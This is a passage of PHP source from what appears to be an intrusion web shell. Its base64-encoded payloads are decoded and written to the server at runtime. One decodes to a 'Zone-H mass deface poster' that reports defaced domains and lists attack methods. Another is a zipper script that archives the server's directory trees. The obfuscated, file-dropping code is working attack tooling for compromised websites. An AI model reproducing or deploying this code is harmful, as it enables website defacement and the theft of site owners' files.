ZXIsICRtZXRob2QsICRuZWRlbiwgJHNpdGVzWyRpXSk7DQoJCQkJCWVjaG8gIlNpdGUgOiAiLiRzaXRlc1skaV0uIiBEZWZhY2VkICFcbiI7DQoJCQkJCSsrJGk7DQoJCQkJfQ0KCQkJCWVjaG8gIlsrXSBTZW5kaW5nIFNpdGVzIFRvIFpvbmUtSCBIYXMgQmVlbiBDb21wbGV0ZWQgU3VjY2Vzc2Z1bGx5ICEhICI7DQoJCQl9DQo/Pg0KPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPg0KDQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQoNCjxzdHlsZT4NCg0KYm9keXttYXJnaW46MHB4O2ZvbnQtc3R5bGU6bm9ybWFsO2ZvbnQtc2l6ZToxMHB4O2NvbG9yOiNGRkZGRkY7Zm9udC1mYW1pbHk6VmVyZGFuYSxBcmlhbDtiYWNrZ3JvdW5kLWNvbG9yOiMzYTNhM2E7c2Nyb2xsYmFyLWZhY2UtY29sb3I6ICMwMDAwMDA7c2Nyb2xsYmFyLWhpZ2hsaWdodC1jb2xvcjogIzVkNWQ1ZDtzY3JvbGxiYXItc2hhZG93LWNvbG9yOiAjMTIxMjEyO3Njcm9sbGJhci0zZGxpZ2h0LWNvbG9yOiAjM2EzYTNhO3Njcm9sbGJhci1hcnJvdy1jb2xvcjogIzlkOWQ5ZDtzY3JvbGxiYXItdHJhY2stY29sb3I6ICMzYTNhM2E7c2Nyb2xsYmFyLWRhcmtzaGFkb3ctY29sb3I6ICMzYTNhM2E7fQ0KDQppbnB1dCwNCg0KLmticnRtLHNlbGVjdHtiYWNrZ3JvdW5kOiMwMDAwMDA7Y29sb3I6I0ZGRkZGRjtmb24gdC1mYW1pbHk6VmVyZGFuYSxBcmlhbDtmb250LXNpemU6MTBweDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7IGhlaWdodDoxODsgYm9yZGVyLWxlZnQ6MXB4IHNvbGlkICM1ZDVkNWQ7IGJvcmRlci1yaWdodDoxcHggc29saWQgIzEyMTIxMjsgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzEyMTIxMjsgYm9yZGVyLXRvcDoxcHggc29saWQgIzVkNWQ1ZDt9DQoNCmJ1dHRvbntiYWNrZ3JvdW5kLWNvbG9yOiAjNjY2NjY2OyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O30NCg0KYm9keSx0ZCx0aCB7IGZvbnQtZmFtaWx5OiB2ZXJkYW5hOyBjb2xvcjogI2Q5ZDlkOTsgZm9udC1zaXplOiAxMXB4O31ib2R5IHsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDt9DQoNCnRleHRhcmVhLG9wdGlvbntiYWNrZ3JvdW5kOiMwMDAwMDA7Y29sb3I6I0ZGRkZGRjtmIG9udC1mYW1pbHk6VmVyZGFuYSxBcmlhbDtmb250LXNpemU6MTBweDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7IGJvcmRlci1sZWZ0OjFweCBzb2xpZCAjMTIxMjEyOyBib3JkZXItcmlnaHQ6MXB4IHNvbGlkICM1ZDVkNWQ7IGJvcmRlci1ib3R0b206MXB4IHNvbGlkICM1ZDVkNWQ7IGJvcmRlci10b3A6MXB4IHNvbGlkICMxMjEyMTI7fQ0KDQo8L3N0eWxlPg0KDQoNCjx0aXRsZT5ab25lLUggTWFzcyBEZWZhY2UgUG9zdGVyPC90aXRsZT4NCg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCg0KLnN0eWxlMSB7DQoNCnRleHQtYWxpZ246IGNlbnRlcjsNCg0KfQ0KDQouc3R5bGUyIHsNCg0KZm9udC13ZWlnaHQ6IGJvbGQ7DQoNCn0NCg0KLnN0eWxlMyB7DQoNCmZvbnQtc2l6ZTogbGFyZ2U7DQoNCmNvbG9yOiAjRkYwMDAwOw0KDQp9DQoNCmRpdiNvcHRpb24gew0KDQpiYWNrZ3JvdW5kOiMwMDAwMDA7Y29sb3I6I0ZGRkZGRjtmb250LWZhbWlseTpWZXJkYW5hLEFyaWFsO2ZvbnQtc2l6ZToxMHB4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTsgYm9yZGVyLWxlZnQ6MXB4IHNvbGlkICMxMjEyMTI7IGJvcmRlci1yaWdodDoxcHggc29saWQgIzVkNWQ1ZDsgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzVkNWQ1ZDsgYm9yZGVyLXRvcDoxcHggc29saWQgIzEyMTIxMjsNCg0KDQoNCn0NCg0KPC9zdHlsZT4NCg0KPC9oZWFkPg0KDQo8P3BocA0KIA0KZWNobyAnPGNlbnRlcj4NCg0KDQo8Y2VudGVyPjxmb250IHNpemU9IjQiIGNvbG9yPSIjRkYwMDAwIj5ab25lLWggUG9zdGVyPC9mb250PjwvY2VudGVyPg0KCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCgkJPHRhYmxlIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSI1IiBib3JkZXI9IjAiPg0KCQk8dHI+DQoNCjx0ZD4NCgkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlZmFjZXIiIHZhbHVlPSJBdHRhY2tlciIgY2xhc3M9ImJveCIgLz48L3RkPjwvdHI+DQoJCTx0cj48dGQ+DQoJCTxzZWxlY3QgbmFtZT0iaGFja21vZGUiIGNsYXNzPSJib3giPg0KCQkJPG9wdGlvbiA+LS0tLS0tLS1TRUxFQ1QtLS0tLS0tLTwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iMSI+a25vd24gdnVsbmVyYWJpbGl0eSAoaS5lLiB1bnBhdGNoZWQgc3lzdGVtKTwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iMiIgPnVuZGlzY2xvc2VkIChuZXcpIHZ1bG5lcmFiaWxpdHk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjMiID5jb25maWd1cmF0aW9uIC8gYWRtaW4uIG1pc3Rha2U8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjQiID5icnV0ZSBmb3JjZSBhdHRhY2s8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjUiID5zb2NpYWwgZW5naW5lZXJpbmc8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjYiID5XZWIgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iNyIgPldlYiBTZXJ2ZXIgZXh0ZXJuYWwgbW9kdWxlIGludHJ1c2lvbjwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iOCIgPk1haWwgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iOSIgPkZUUCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIxMCIgPlNTSCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIxMSIgPlRlbG5ldCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIxMiIgPlJQQyBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIxMyIgPlNoYXJlcyBtaXNjb25maWd1cmF0aW9uPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIxNCIgPk90aGVyIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjE1IiA+U1FMIEluamVjdGlvbjwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iMTYiID5VUkwgUG9pc29uaW5nPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIxNyIgPkZpbGUgSW5jbHVzaW9uPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIxOCIgPk90aGVyIFdlYiBBcHBsaWNhdGlvbiBidWc8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjE5IiA+UmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBicnV0ZWZvcmNpbmc8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjIwIiA+UmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBwYXNzd29yZCANCgkJCWd1ZXNzaW5nPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIyMSIgPlJlbW90ZSBhZG1pbmlzdHJhdGl2ZSBwYW5lbCBhY2Nlc3Mgc29jaWFsIA0KCQkJZW5naW5lZXJpbmc8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjIyIiA+QXR0YWNrIGFnYWluc3QgYWRtaW5pc3RyYXRvcihwYXNzd29yZCANCgkJCXN0ZWFsaW5nL3NuaWZmaW5nKTwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iMjMiID5BY2Nlc3MgY3JlZGVudGlhbHMgdGhyb3VnaCBNYW4gSW4gdGhlIE1pZGRsZSANCgkJCWF0dGFjazwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iMjQiID5SZW1vdGUgc2VydmljZSBwYXNzd29yZCBndWVzc2luZzwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iMjUiID5SZW1vdGUgc2VydmljZSBwYXNzd29yZCBicnV0ZWZvcmNlPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIyNiIgPlJlcm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIEZpcmV3YWxsPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIyNyIgPlJlcm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIFJvdXRlcjwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iMjgiID5ETlMgYXR0YWNrIHRocm91Z2ggc29jaWFsIGVuZ2luZWVyaW5nPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIyOSIgPkROUyBhdHRhY2sgdGhyb3VnaCBjYWNoZSBwb2lzb25pbmc8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjMwIiA+Tm90IGF2YWlsYWJsZTwvb3B0aW9uPg0KCQk8L3NlbGVjdD4NCgkJPC90ZD48L3RyPg0KCQk8dHI+PHRkPg0KCQk8c2VsZWN0IG5hbWU9InJlYXNvbiIgY2xhc3M9ImJveCI+DQoJCQk8b3B0aW9uID4tLS0tLS0tLVNFTEVDVC0tLS0tLS0tPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIxIiA+SGVoLi4uanVzdCBmb3IgZnVuITwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iMiIgPlJldmVuZ2UgYWdhaW5zdCB0aGF0IHdlYnNpdGU8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjMiID5Qb2xpdGljYWwgcmVhc29uczwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iNCIgPkFzIGEgY2hhbGxlbmdlPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSI1IiA+SSBqdXN0IHdhbnQgdG8gYmUgdGhlIGJlc3QgZGVmYWNlcjwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iNiIgPlBhdHJpb3Rpc208L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjciID5Ob3QgYXZhaWxhYmxlPC9vcHRpb24+DQoJCTwvc2VsZWN0PjwvdGQ+PC90cj4NCgkJPHRyPjx0ZD4NCgkJPHRleHRhcmVhIG5hbWU9ImRvbWFpbiIgY2xhc3M9ImJveCIgY29scz0iNDciIHJvd3M9IjkiPkxpc3QgT2YgRG9tYWluczwvdGV4dGFyZWE+PC90ZD48L3RyPg0KCQk8dHI+PHRkPg0KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnV0IiB2YWx1ZT0iU2VuZCBOb3cgISIgbmFtZT0iU2VuZE5vd1RvWm9uZUgiIHN0eWxlPSJjb2xvcjogI0ZGMDAwMCIgLz48L2ZvbnQ+PC90ZD4JCQ0KCQk8L2Zvcm0+DQoNCg0KDQo8YnI+DQoNCjwvZGl2Pg0KDQo8L2NlbnRlcj4nOw0KDQoNCg0KDQoNCj8+DQo8Ym9keT4NCjxwIGFsaWduPSJjZW50ZXIiPjxiPg0KPGZvbnQgY29sb3I9IndoaXRlIiBmYWNlPSJHZW9yZ2lhLCIgc2l6ZT0iNSI+PGJyPkNvZGVkIGJ5IEJMQUNLLkphR3VBcjwvZm9udD48Zm9udCBzaXplPSI1Ij4NCjwvZm9udD48L2I+PC9wPg0KPHAgYWxpZ249ImNlbnRlciI+PGEgaHJlZj0iaHR0cDovL3d3dy5hbGp5eW9zaC5jb20vaW1hZ2VzL3llLmdpZiI+DQo8aW1nIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8vd3d3LmFsanl5b3NoLmNvbS9pbWFnZXMveWUuZ2lmIiB3aWR0aD0iMjA1IiBoZWlnaHQ9IjE0OCI+PC9hPjwvcD4NCjwvYm9keT4NCg0KPC9odG1sPg==
';
$file = fopen("zone.php" ,"w+");
$write = fwrite ($file ,base64_decode($zone1));
fclose($file);
echo '<iframe src="zone.php" style="height:500px; width:1500px; border:0px;" name="zone">';
yemenfooter();
}
function yemenzip()
{
yemenhead();
$zip1 = 'PD8NCkBzZXRfdGltZV9saW1pdCgzNjAwKTsNCiRjb25mWydkaXInXSA9ICJuZGt6aXBmaWxl
cyI7DQppZiAoKGlzc2V0KCRfR0VUWydzdGVwJ10pKSYmKCFlbXB0eSgkX0dFVFsnc3RlcCdd
KSkpICRzdGVwPSRfR0VUWydzdGVwJ107IGVsc2UgJHN0ZXA9MDsNCmlmICgoaXNzZXQoJF9H
RVRbJ2Rpcm5hbWUnXSkpJiYoIWVtcHR5KCRfR0VUWydkaXJuYW1lJ10pKSkgJGRpcm5hbWU9
JF9HRVRbJ2Rpcm5hbWUnXTsgZWxzZSAkZGlybmFtZT0iLiI7DQokZGlybmFtZSA9IHN0cl9y
ZXBsYWNlKCIuLi8iLCIiLCRkaXJuYW1lKTsNCmNsYXNzIHppcGZpbGUNCnsNCiAgICB2YXIg
JGRhdGFzZWMgICAgICA9IGFycmF5KCk7DQogICAgdmFyICRjdHJsX2RpciAgICAgPSBhcnJh
eSgpOw0KICAgIHZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgw
MFx4MDBceDAwIjsNCiAgICB2YXIgJG9sZF9vZmZzZXQgICA9IDA7DQogICAgZnVuY3Rpb24g
dW5peDJEb3NUaW1lKCR1bml4dGltZSA9IDApIHsNCiAgICAgICAgJHRpbWVhcnJheSA9ICgk
dW5peHRpbWUgPT0gMCkgPyBnZXRkYXRlKCkgOiBnZXRkYXRlKCR1bml4dGltZSk7DQoNCiAg
ICAgICAgaWYgKCR0aW1lYXJyYXlbJ3llYXInXSA8IDE5ODApIHsNCiAgICAgICAgCSR0aW1l
YXJyYXlbJ3llYXInXSAgICA9IDE5ODA7DQogICAgICAgIAkkdGltZWFycmF5Wydtb24nXSAg
ICAgPSAxOw0KICAgICAgICAJJHRpbWVhcnJheVsnbWRheSddICAgID0gMTsNCiAgICAgICAg
CSR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7DQogICAgICAgIAkkdGltZWFycmF5WydtaW51
dGVzJ10gPSAwOw0KICAgICAgICAJJHRpbWVhcnJheVsnc2Vjb25kcyddID0gMDsNCiAgICAg
ICAgfSAvLyBlbmQgaWYNCg0KICAgICAgICByZXR1cm4gKCgkdGltZWFycmF5Wyd5ZWFyJ10g
LSAxOTgwKSA8PCAyNSkgfCAoJHRpbWVhcnJheVsnbW9uJ10gPDwgMjEpIHwgKCR0aW1lYXJy
YXlbJ21kYXknXSA8PCAxNikgfA0KICAgICAgICAgICAgICAgICgkdGltZWFycmF5Wydob3Vy
cyddIDw8IDExKSB8ICgkdGltZWFycmF5WydtaW51dGVzJ10gPDwgNSkgfCAoJHRpbWVhcnJh
eVsnc2Vjb25kcyddID4+IDEpOw0KICAgIH0gLy8gZW5kIG9mIHRoZSAndW5peDJEb3NUaW1l
KCknIG1ldGhvZA0KDQogICAgZnVuY3Rpb24gYWRkRmlsZSgkZGF0YSwgJG5hbWUsICR0aW1l
ID0gMCkNCiAgICB7DQogICAgICAgICRuYW1lICAgICA9IHN0cl9yZXBsYWNlKCdcXCcsICcv
JywgJG5hbWUpOw0KDQogICAgICAgICRkdGltZSAgICA9IGRlY2hleCgkdGhpcy0+dW5peDJE
b3NUaW1lKCR0aW1lKSk7DQogICAgICAgICRoZXhkdGltZSA9ICdceCcgLiAkZHRpbWVbNl0g
LiAkZHRpbWVbN10NCiAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVs0XSAuICRk
dGltZVs1XQ0KICAgICAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1l
WzNdDQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbMF0gLiAkZHRpbWVbMV07
DQogICAgICAgIGV2YWwoJyRoZXhkdGltZSA9ICInIC4gJGhleGR0aW1lIC4gJyI7Jyk7DQoN
CiAgICAgICAgJGZyICAgPSAiXHg1MFx4NGJceDAzXHgwNCI7DQogICAgICAgICRmciAgIC49
ICJceDE0XHgwMCI7ICAgICAgICAgICAgLy8gdmVyIG5lZWRlZCB0byBleHRyYWN0DQogICAg
ICAgICRmciAgIC49ICJceDAwXHgwMCI7ICAgICAgICAgICAgLy8gZ2VuIHB1cnBvc2UgYml0
IGZsYWcNCiAgICAgICAgJGZyICAgLj0gIlx4MDhceDAwIjsgICAgICAgICAgICAvLyBjb21w
cmVzc2lvbiBtZXRob2QNCiAgICAgICAgJGZyICAgLj0gJGhleGR0aW1lOyAgICAgICAgICAg
ICAvLyBsYXN0IG1vZCB0aW1lIGFuZCBkYXRlDQoNCiAgICAgICAgLy8gImxvY2FsIGZpbGUg
aGVhZGVyIiBzZWdtZW50DQogICAgICAgICR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCiAg
ICAgICAgJGNyYyAgICAgPSBjcmMzMigkZGF0YSk7DQogICAgICAgICR6ZGF0YSAgID0gZ3pj
b21wcmVzcygkZGF0YSk7DQogICAgICAgICR6ZGF0YSAgID0gc3Vic3RyKHN1YnN0cigkemRh
dGEsIDAsIHN0cmxlbigkemRhdGEpIC0gNCksIDIpOyAvLyBmaXggY3JjIGJ1Zw0KICAgICAg
ICAkY19sZW4gICA9IHN0cmxlbigkemRhdGEpOw0KICAgICAgICAkZnIgICAgICAuPSBwYWNr
KCdWJywgJGNyYyk7ICAgICAgICAgICAgIC8vIGNyYzMyDQogICAgICAgICRmciAgICAgIC49
IHBhY2soJ1YnLCAkY19sZW4pOyAgICAgICAgICAgLy8gY29tcHJlc3NlZCBmaWxlc2l6ZQ0K
ICAgICAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJHVuY19sZW4pOyAgICAgICAgIC8vIHVu
Y29tcHJlc3NlZCBmaWxlc2l6ZQ0KICAgICAgICAkZnIgICAgICAuPSBwYWNrKCd2Jywgc3Ry
bGVuKCRuYW1lKSk7ICAgIC8vIGxlbmd0aCBvZiBmaWxlbmFtZQ0KICAgICAgICAkZnIgICAg
ICAuPSBwYWNrKCd2JywgMCk7ICAgICAgICAgICAgICAgIC8vIGV4dHJhIGZpZWxkIGxlbmd0
aA0KICAgICAgICAkZnIgICAgICAuPSAkbmFtZTsNCg0KICAgICAgICAvLyAiZmlsZSBkYXRh
IiBzZWdtZW50DQogICAgICAgICRmciAuPSAkemRhdGE7DQoNCiAgICAgICAgLy8gImRhdGEg
ZGVzY3JpcHRvciIgc2VnbWVudCAob3B0aW9uYWwgYnV0IG5lY2Vzc2FyeSBpZiBhcmNoaXZl
IGlzIG5vdA0KICAgICAgICAvLyBzZXJ2ZWQgYXMgZmlsZSkNCiAgICAgICAgJGZyIC49IHBh
Y2soJ1YnLCAkY3JjKTsgICAgICAgICAgICAgICAgIC8vIGNyYzMyDQogICAgICAgICRmciAu
PSBwYWNrKCdWJywgJGNfbGVuKTsgICAgICAgICAgICAgICAvLyBjb21wcmVzc2VkIGZpbGVz
aXplDQogICAgICAgICRmciAuPSBwYWNrKCdWJywgJHVuY19sZW4pOyAgICAgICAgICAgICAv
LyB1bmNvbXByZXNzZWQgZmlsZXNpemUNCg0KICAgICAgICAvLyBhZGQgdGhpcyBlbnRyeSB0
byBhcnJheQ0KICAgICAgICAkdGhpcyAtPiBkYXRhc2VjW10gPSAkZnI7DQoNCiAgICAgICAg
Ly8gbm93IGFkZCB0byBjZW50cmFsIGRpcmVjdG9yeSByZWNvcmQNCiAgICAgICAgJGNkcmVj
ID0gIlx4NTBceDRiXHgwMVx4MDIiOw0KICAgICAgICAkY2RyZWMgLj0gIlx4MDBceDAwIjsg
ICAgICAgICAgICAgICAgLy8gdmVyc2lvbiBtYWRlIGJ5DQogICAgICAgICRjZHJlYyAuPSAi
XHgxNFx4MDAiOyAgICAgICAgICAgICAgICAvLyB2ZXJzaW9uIG5lZWRlZCB0byBleHRyYWN0
DQogICAgICAgICRjZHJlYyAuPSAiXHgwMFx4MDAiOyAgICAgICAgICAgICAgICAvLyBnZW4g
cHVycG9zZSBiaXQgZmxhZw0KICAgICAgICAkY2RyZWMgLj0gIlx4MDhceDAwIjsgICAgICAg
ICAgICAgICAgLy8gY29tcHJlc3Npb24gbWV0aG9kDQogICAgICAgICRjZHJlYyAuPSAkaGV4
ZHRpbWU7ICAgICAgICAgICAgICAgICAvLyBsYXN0IG1vZCB0aW1lICYgZGF0ZQ0KICAgICAg
ICAkY2RyZWMgLj0gcGFjaygnVicsICRjcmMpOyAgICAgICAgICAgLy8gY3JjMzINCiAgICAg
ICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkY19sZW4pOyAgICAgICAgIC8vIGNvbXByZXNzZWQg
ZmlsZXNpemUNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7ICAgICAg
IC8vIHVuY29tcHJlc3NlZCBmaWxlc2l6ZQ0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndics
IHN0cmxlbigkbmFtZSkgKTsgLy8gbGVuZ3RoIG9mIGZpbGVuYW1lDQogICAgICAgICRjZHJl
YyAuPSBwYWNrKCd2JywgMCApOyAgICAgICAgICAgICAvLyBleHRyYSBmaWVsZCBsZW5ndGgN
CiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7ICAgICAgICAgICAgIC8vIGZpbGUg
Y29tbWVudCBsZW5ndGgNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7ICAgICAg
ICAgICAgIC8vIGRpc2sgbnVtYmVyIHN0YXJ0DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2
JywgMCApOyAgICAgICAgICAgICAvLyBpbnRlcm5hbCBmaWxlIGF0dHJpYnV0ZXMNCiAgICAg
ICAgJGNkcmVjIC49IHBhY2soJ1YnLCAzMiApOyAgICAgICAgICAgIC8vIGV4dGVybmFsIGZp
bGUgYXR0cmlidXRlcyAtICdhcmNoaXZlJyBiaXQgc2V0DQoNCiAgICAgICAgJGNkcmVjIC49
IHBhY2soJ1YnLCAkdGhpcyAtPiBvbGRfb2Zmc2V0ICk7IC8vIHJlbGF0aXZlIG9mZnNldCBv
ZiBsb2NhbCBoZWFkZXINCiAgICAgICAgJHRoaXMgLT4gb2xkX29mZnNldCArPSBzdHJsZW4o
JGZyKTsNCg0KICAgICAgICAkY2RyZWMgLj0gJG5hbWU7DQoNCiAgICAgICAgLy8gb3B0aW9u
YWwgZXh0cmEgZmllbGQsIGZpbGUgY29tbWVudCBnb2VzIGhlcmUNCiAgICAgICAgLy8gc2F2
ZSB0byBjZW50cmFsIGRpcmVjdG9yeQ0KICAgICAgICAkdGhpcyAtPiBjdHJsX2RpcltdID0g
JGNkcmVjOw0KICAgIH0gLy8gZW5kIG9mIHRoZSAnYWRkRmlsZSgpJyBtZXRob2QNCg0KICAg
IGZ1bmN0aW9uIGZpbGUoKQ0KICAgIHsNCiAgICAgICAgJGRhdGEgICAgPSBpbXBsb2RlKCcn
LCAkdGhpcyAtPiBkYXRhc2VjKTsNCiAgICAgICAgJGN0cmxkaXIgPSBpbXBsb2RlKCcnLCAk
dGhpcyAtPiBjdHJsX2Rpcik7DQoNCiAgICAgICAgcmV0dXJuDQogICAgICAgICAgICAkZGF0
YSAuDQogICAgICAgICAgICAkY3RybGRpciAuDQogICAgICAgICAgICAkdGhpcyAtPiBlb2Zf
Y3RybF9kaXIgLg0KICAgICAgICAgICAgcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJs
X2RpcikpIC4gIC8vIHRvdGFsICMgb2YgZW50cmllcyAib24gdGhpcyBkaXNrIg0KICAgICAg
ICAgICAgcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4gIC8vIHRvdGFs
ICMgb2YgZW50cmllcyBvdmVyYWxsDQogICAgICAgICAgICBwYWNrKCdWJywgc3RybGVuKCRj
dHJsZGlyKSkgLiAgICAgICAgICAgLy8gc2l6ZSBvZiBjZW50cmFsIGRpcg0KICAgICAgICAg
ICAgcGFjaygnVicsIHN0cmxlbigkZGF0YSkpIC4gICAgICAgICAgICAgIC8vIG9mZnNldCB0
byBzdGFydCBvZiBjZW50cmFsIGRpcg0KICAgICAgICAgICAgIlx4MDBceDAwIjsgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIC8vIC56aXAgZmlsZSBjb21tZW50IGxlbmd0aA0KICAg
IH0gLy8gZW5kIG9mIHRoZSAnZmlsZSgpJyBtZXRob2QNCiAgICANCiAgICBmdW5jdGlvbiBh
ZGRGaWxlcygkZmlsZXMgLypPbmx5IFBhc3MgQXJyYXkqLykNCiAgICB7DQogICAgICAgIGZv
cmVhY2goJGZpbGVzIGFzICRmaWxlKSB7DQoJCQlpZiAoaXNfZmlsZSgkZmlsZSkpIC8vZGly
ZWN0b3J5IGNoZWNrDQoJCQl7DQoJCQkJJGRhdGEgPSBpbXBsb2RlKCIiLGZpbGUoJGZpbGUp
KTsNCgkgICAgICAgICAgICAkdGhpcy0+YWRkRmlsZSgkZGF0YSwkZmlsZSk7DQogICAgICAg
ICAgICB9IGVsc2Ugew0KLy8JCQkJJGRhdGEgPSBpbXBsb2RlKCIiLGZpbGUoIm5ka3ppcGVy
LnR4dCIpKTsNCi8vCSAgICAgICAgICAgICR0aGlzLT5hZGRGaWxlKCRkYXRhLCRmaWxlLiIv
bmRremlwZXIudHh0Iik7DQoJCQl9CQ0KCQl9DQogICAgfQ0KICAgIA0KICAgIGZ1bmN0aW9u
IG91dHB1dCgkZmlsZSkNCiAgICB7DQogICAgICAgICRmcD1mb3BlbigkZmlsZSwidyIpOw0K
ICAgICAgICBmd3JpdGUoJGZwLCR0aGlzLT5maWxlKCkpOw0KICAgICAgICBmY2xvc2UoJGZw
KTsNCiAgICB9DQoNCn0gLy8gZW5kIGNsYXNzDQovLz09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09DQpmdW5jdGlvbiBnZXRkaXIoJHBhdGg9Ii4iKSB7DQpnbG9iYWwgJGRp
cmFycmF5LCRjb25mLCRkaXJzaXplOwkNCmlmICgkZGlyID0gb3BlbmRpcigkcGF0aCkpIHsN
CiAgd2hpbGUgKGZhbHNlICE9PSAoJGVudHJ5ID0gQHJlYWRkaXIoJGRpcikpKSB7DQoJIGlm
ICgoJGVudHJ5IT0iLiIpJiYoJGVudHJ5IT0iLi4iKSkgew0KCSAgCSRsYXN0ZG90ID0gc3Ry
cnBvcygkZW50cnksIi4iKTsNCgkJJGV4dCA9IGNob3Aoc3RydG9sb3dlcihzdWJzdHIoJGVu
dHJ5LCRsYXN0ZG90KzEpKSk7DQoJCSRmbmFtZSA9IHN1YnN0cigkZW50cnksMCwkbGFzdGRv
dCk7DQoJCWlmICgkcGF0aCE9Ii4iKSAkbmV3cGF0aCA9ICRwYXRoLiIvIi4kZW50cnk7DQoJ
CWVsc2UgJG5ld3BhdGggPSAkZW50cnk7DQoJCSRuZXdwYXRoID0gc3RyX3JlcGxhY2UoIi8v
IiwiLyIsJG5ld3BhdGgpOw0KDQoJCWlmICgoJGVudHJ5IT0iTkRLemlwZXIucGhwIikmJigk
ZW50cnkhPSJuZGt6aXBlci50eHQiKSYmKCRlbnRyeSE9JGNvbmZbJ2RpciddKSkgew0KCQkJ
JGRpcmFycmF5W10gPSAkbmV3cGF0aDsNCgkJCWlmICgkZnNpemU9QGZpbGVzaXplKCRuZXdw
YXRoKSkgJGRpcnNpemUrPSRmc2l6ZTsNCgkJCWlmIChpc19kaXIoJG5ld3BhdGgpKSBnZXRk
